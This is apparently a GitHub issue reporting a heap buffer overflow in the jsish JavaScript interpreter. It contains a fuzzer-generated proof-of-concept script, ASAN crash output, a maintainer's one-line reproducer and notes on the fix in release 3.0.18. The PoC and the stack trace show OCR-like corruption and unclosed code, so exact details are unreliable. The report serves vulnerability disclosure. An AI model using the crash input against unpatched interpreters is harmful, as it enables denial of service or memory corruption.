Jump to bottom

heap overflow #16



New issue

⊙ Closed rain6851 opened this issue on May 20, 2020 · 2 comments

```
rain6851 commented on May 20, 2020
Enviroment
  operating system: ubuntu18.04
  compile command: export JSI__SANITIZE=1 && make
test command: ./jsish poc1
poc:
   function fail(message) {
   function assert(condition, message) {
        if (!condition)
            fail(message);
   function assertEquals(expression, value, message) {
       if (expression != value) {
    expression = ('' + expression).replace(/[\r\n]+/g, ')aOD$,0ZA>`W[oxl~4zXIG');
    value = ('' + value).replace(/\r\n/g, '^A-\nr4+Cnb-(+`2M,');
            var FDwc = Proxy;
fail('' + value + '' + expression + ';W' + message);
  }
var d;
d = null;
  var jWeN = assert(null, null);
var QJmz = JSON;
  for (var i = 0; i < loops; i += 1) {
    d = new Date();
       d = new function (x) {
          return {
   toString: function () {
                }
        }(d.valueOf());
        var sDPa = new Map([
             [null],
                 null,
                  null,
                  nu11
        d = d.parentNode;
        assert(null, null);
       var pxeM = Proxy;
var bsAF = assert(null, null);
```

vulnerability description

Below is the ASAN output, We can find that the code has a heap overflow in jsi_evalcode_sub src/jsiEval.c:1325

```
Z835=-ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62500000c8f8 at p

Of size 8 at 0x62500000c8f8 thread T0

#0 0x5a4532 in jsi_evalcode sub_sizeval.c:1254

#2 0x5b5elb in jsi_evalStfrile src/jsiEval.c:2154

#2 0x5b5elc in jsi_evalStfrile src/jsiEval.c:2468

#3 0x5b6749 in Jsi_EvalFile src/jsiEval.c:2468

#4 0x43b4dc in Jsi_Main src/jsiInterp.c:992

#5 0x699969 in jsi_main src/main.c:52

#7 0xf7346734492f in _lbc_start_main (/lb/x86_64-linux-gnu/libc.so.6+0x2082f)

#8 0x414cb8 in _start (/home/node/xjsish/jsish+0x414cb8)
52500000c8f8 is located 8 bytes to the left of 8192-byte region [0x62500000c900,0x62500000e900)
  Z500000c8f8 is located 8 bytes to the left of 8192-byte region [0x62500000c900, ocated by thread 10 here:

#0 0x7f34e7f10961 in realloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98961)
#1 0x44ecd9 in 1si_Realloc src/jsibtlls.c:47
#2 0x59746f in jsi_YaluesAlloc src/jsibtlls.c:87
#3 0x597654 in jsiSetupStack src/jsibval.c:100
#4 0x5a2ff6 in jsi_evalcode_sub_src/jsibval.c:1201
#5 0x5b20b8 in jsi_evalcode_sub_src/jsibval.c:2154
#6 0x5b5e1 in jsi_evalStrfile_src/jsibval.c:2468
#7 0x5b6749 in Jsi_EvalFile_src/jsibval.c:2517
#8 0x43bd4c in Jsi_Main_src/jsibval.c:244
#9 0x699669 in jsi_main_src/main.c:52
```

```
pcmacdon commented on May 20, 2020
                                                                                                                                                                         Owner
  Ouch. This is more simply reproduced with:
   var x = assert(true);
  The problem: "assert" and "LogDebug", "LogTest", and "LogTrace" are mapped out as noops and it should have mapped out the assigne as well.
  A fix has been put in Release "3.0.17".
 pcmacdon pushed a commit that referenced this issue on May 20, 2020
         Release "3.0.18": Fixes for issue #16. It is now an error to redefine… \ \cdots

√ 0b439f1

                                                                                                                                                                         Owner
  pcmacdon commented on May 20, 2020
  Release "3.0.18" now makes it an error to redefine or assign result of assert/LogDebug/...
      pcmacdon closed this as completed on May 20, 2020

√
This was referenced on Oct 20, 2020

      stack-overflow in glibc regcomp #22
      ⊙ Open
     heap-use-after-free at Jsi_ObjFree src/jsiObj.c:333 #23
      (⊙ Closed)
     heap-buffer-overflow at Jsi_DSAppendLen src/jsiDString.c:109 #24
      ⊙ Closed
      heap-use-after-free at DeleteTreeValue src/jsiObj.c:170 #26
      ⊙ Closed
     heap-buffer-overflow at Jsi_DSAppendLen src/jsiDString.c:109 #28
      heap-buffer-overflow at jsi_utf_tocase src/jsiString.c:396 #29
      ⊙ Closed
 【♂ This was referenced on Oct 31, 2020
     SEGV at Jsi_TreeObjGetValue src/jsiObj.c:11 #30
      ⊙ Closed
     heap-buffer-overflow\ at\ Jsi\_DSAppendLen\ src/jsiDString.c:109\ \#31
     heap-buffer-overflow at jsi_utf_tocase src/jsiString.c:396 #32
      ⊙ Closed
Assignees
No one assigned
Projects
None yet
Milestone
```

No milestone

Development

No branches or pull requests

2 participants

